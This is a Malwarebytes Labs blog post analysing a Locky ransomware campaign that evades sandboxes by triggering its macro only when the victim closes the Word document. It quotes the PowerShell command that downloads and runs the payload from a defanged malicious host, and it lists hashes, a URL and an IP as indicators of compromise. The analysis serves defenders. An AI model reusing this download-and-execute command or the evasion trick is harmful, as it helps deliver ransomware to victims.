Locky ransomware adds anti sandbox feature
Credit to Author: Malwarebytes Labs| Date: Thu, 31 Aug 2017 16:09:39 +0000
By Marcelo Rivero and Jérôme Segura
The Locky ransomware has been very active since its return which we documented in a previous blog post. There are several different Locky campaigns going on at the same time, the largest being the one from affiliate ID 3 which comes with malicious ZIP containing .VBS or .JS attachments.
Malwarebytes researcher Marcelo Rivero discovered a trick[1] employed by Locky’s affiliate ID 5 to bypass automated analysis done via sandboxes.
Malware authors have used booby trapped Office documents containing macros to retrieve their payloads for some time, but ordinarily the code executes as soon as the user clicks the ‘Enable Content’ button. For analysis purposes, many sandboxes lower the security settings of various applications and enable macros by default, which allows for the automated capture of the malicious payload.
Strikes when you least expect it
However, this particular Locky campaign no longer simply triggers by running the macro itself, but waits until the fake Word document is closed by the user before it starts to invoke a set of commands.
“C:WindowsSystem32WindowsPowerShellv1.0powershell.exe” -nop -Exec Bypass -Command (New-Object System.Net.WebClient).DownloadFile(‘http://newhostrcm[.]top/admin.php?f=1’, $env:APPDATA + ‘sATTfJY.exe’); Start-Process $env:APPDATA’sATTfJY.exe’;
The payload is downloaded and launched from the %appdata% folder followed by the typical ransom note:
Implications
While not a sophisticated technique, it nonetheless illustrates the constant cat and mouse battle between attackers and defenders. We ascertain that in their current form, the malicious documents are likely to exhibit a harmless behavior in many sandboxes while still infecting end users that would logically close the file when they realize there is nothing to be seen.
Malwarebytes blocks this attack at several different layers and is not impacted by this ‘closing the document’ trick.
Indicators of compromise:
Word document:
b613b1c80b27fb21cfc95fb9cd59b4bb64c9fda0651d5ca05b0b50f76b04c9f4
Locky:
newhostrcm[.]top/admin.php?f=1 47.89.250.152 7cdcb878bf9bf5bb48a0034b04969c74401b25a516078ffd7f721d8098b2a774
References
The post Locky ransomware adds anti sandbox feature appeared first on Malwarebytes Labs.